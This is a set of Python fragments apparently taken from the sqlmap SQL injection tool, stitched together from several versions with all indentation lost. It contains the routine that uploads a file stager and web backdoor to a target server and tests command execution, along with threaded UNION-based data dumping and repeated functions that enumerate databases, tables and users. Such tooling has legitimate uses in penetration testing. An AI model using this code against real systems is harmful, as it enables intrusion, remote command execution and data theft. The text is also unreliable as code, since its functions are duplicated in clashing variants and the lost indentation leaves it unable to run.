_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(
num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack,
True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output
for _ in (kb.chars.start,
kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item)
and len(item) == len(
expressionFieldsList)
]
items = [
_ for _ in flattenValue(items)
]
if len(items) > len(
expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(
r"[^A-Za-z0-9]", "",
item).lower()
if key not in filtered or re.search(
r"[^A-Za-z0-9]",
item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start, "").replace(
kb.chars.stop,
"").split(kb.chars.delimiter)
while threadData.shared.buffered and (
threadData.shared.lastFlushed + 1
>= threadData.shared.buffered[0][0]
or
len(threadData.shared.buffered) >
MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[
0]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
_ = ','.join(
"\"%s\"" % _ for _ in
flattenValue(arrayizeValue(
items))) if not isinstance(
items, basestring) else items
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
_ if kb.safeCharEncode else
safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an union SQL injection on the target
URL then call its subsidiary function to effectively perform an
union SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except SqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return tableExists(paths.COMMON_TABLES)
infoMsg = "fetching tables for database"
infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(
unsafeSQLIdentificatorNaming(unArrayizeValue(db))
for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition:
if not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "",
", ".join(
unsafeSQLIdentificatorNaming(db)
for db in self.excludeDbsList))
logger.info(infoMsg)
query += " IN (%s)" % ",".join(
"'%s'" % unsafeSQLIdentificatorNaming(db)
for db in sorted(dbs)
if db not in self.excludeDbsList)
else:
query += " IN (%s)" % ",".join(
"'%s'" % unsafeSQLIdentificatorNaming(db)
for db in sorted(dbs))
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = filter(None, arrayizeValue(values))
if len(values) > 0 and not isListLike(values[0]):
values = [(dbs[0], _) for _ in values]
for db, table in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(table, True)
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables and isInferenceAvailable(
) and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD,
DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
db)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(
db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
continue
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
continue
tables = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (
kb.data.cachedTables[-1]
if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB,
DBMS.ACCESS):
query = rootQuery.blind.query % (
kb.data.cachedTables[-1]
if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(db), index)
table = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the table names "
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(
db)
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
else:
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
if kb.data.cachedTables:
for db in kb.data.cachedTables.keys():
kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))
return kb.data.cachedTables
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = None
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.ORACLE):
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
elif Backend.isDbms(DBMS.DB2):
warnMsg = "schema names are going to be used on IBM DB2 "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
if infoMsg:
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedDbs = arrayizeValue(values)
if not kb.data.cachedDbs and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1]
if kb.data.cachedDbs
else " ")
elif Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if db:
kb.data.cachedDbs.append(
safeSQLIdentificatorNaming(db))
if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
blinds = (False, True)
else:
blinds = (True, )
for blind in blinds:
count = 0
kb.data.cachedDbs = []
while True:
query = rootQuery.inband.query2 % count
value = unArrayizeValue(inject.getValue(query,
blind=blind))
if not (value or "").strip():
break
else:
kb.data.cachedDbs.append(value)
count += 1
if kb.data.cachedDbs:
break
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise SqlmapNoneDataException(errMsg)
else:
kb.data.cachedDbs.sort()
if kb.data.cachedDbs:
kb.data.cachedDbs = list(set(kb.data.cachedDbs))
return kb.data.cachedDbs
def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(',')
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = [_ for _ in dbs if _]
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(
db if isinstance(db, six.string_types) else db[0]
for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[DBMS.MSSQL].tables
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
for query in (rootQuery.inband.query, rootQuery.inband.query2,
rootQuery.inband.query3):
query = query.replace("%s", db)
value = inject.getValue(query, blind=False, time=False)
if not isNoneValue(value):
break
if not isNoneValue(value):
value = [_ for _ in arrayizeValue(value) if _]
value = [
safeSQLIdentificatorNaming(unArrayizeValue(_), True)
for _ in value
]
kb.data.cachedTables[db] = value
if not kb.data.cachedTables and isInferenceAvailable(
) and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
for query in (rootQuery.blind.count, rootQuery.blind.count2,
rootQuery.blind.count3):
_ = query.replace("%s", db)
count = inject.getValue(_,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNoneValue(count):
break
if not isNumPosStrValue(count):
if count != 0:
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in xrange(int(count)):
_ = safeStringFormat(
(rootQuery.blind.query if query
== rootQuery.blind.count else rootQuery.blind.query2
if query == rootQuery.blind.count2 else
rootQuery.blind.query3).replace("%s", db), index)
table = inject.getValue(_, union=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables and not conf.search:
errMsg = "unable to retrieve the tables for any database"
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
return kb.data.cachedTables
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = None
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.ORACLE):
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
elif Backend.isDbms(DBMS.DB2):
warnMsg = "schema names are going to be used on IBM DB2 "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
if infoMsg:
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False, time=False)
if not isNoneValue(value):
kb.data.cachedDbs = arrayizeValue(value)
if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, union=False, error=False)
if db:
kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))
if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
blinds = (False, True)
else:
blinds = (True,)
for blind in blinds:
count = 0
kb.data.cachedDbs = []
while True:
query = rootQuery.inband.query2 % count
value = inject.getValue(query, blind=blind)
if not value:
break
else:
kb.data.cachedDbs.append(unArrayizeValue(value))
count += 1
if kb.data.cachedDbs:
break
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
else:
kb.data.cachedDbs.sort()
return kb.data.cachedDbs
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL)
and not kb.data.has_information_schema)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedUsers = []
for value in arrayizeValue(values):
value = unArrayizeValue(value)
if not isNoneValue(value):
kb.data.cachedUsers.append(value)
if not kb.data.cachedUsers and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedUsers
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1]
if kb.data.cachedUsers
else " ")
elif condition:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
logger.error(errMsg)
return kb.data.cachedUsers
def getTables(self):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
query = query.replace("%s", db)
value = inject.getValue(query, blind=False, time=False)
if not isNoneValue(value):
break
if not isNoneValue(value):
value = filter(None, arrayizeValue(value))
value = [safeSQLIdentificatorNaming(_, True) for _ in value]
kb.data.cachedTables[db] = value
